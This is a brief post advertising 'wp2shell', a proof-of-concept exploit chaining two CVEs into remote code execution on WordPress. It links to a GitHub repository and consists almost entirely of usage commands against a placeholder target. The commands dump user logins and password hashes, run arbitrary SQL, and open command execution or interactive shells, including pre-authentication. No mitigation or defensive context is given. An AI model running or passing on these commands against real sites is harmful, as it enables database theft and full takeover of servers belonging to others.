wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain WordPress 漏洞

https://github.com/Icex0/wp2shell-poc

`
./wp2shell.py read http://target # server fingerprint
./wp2shell.py read http://target —preset users # user logins and password hashes
./wp2shell.py read http://target —query “SELECT @@version”

./wp2shell.py shell http://target —user admin —password ‘<recovered>‘ —cmd id
./wp2shell.py shell http://target —user admin —password ‘<recovered>‘ -i # interactive shell
./wp2shell.py shell http://target —cmd id # pre-auth bridge
./wp2shell.py shell http://target -i # pre-auth interactive

`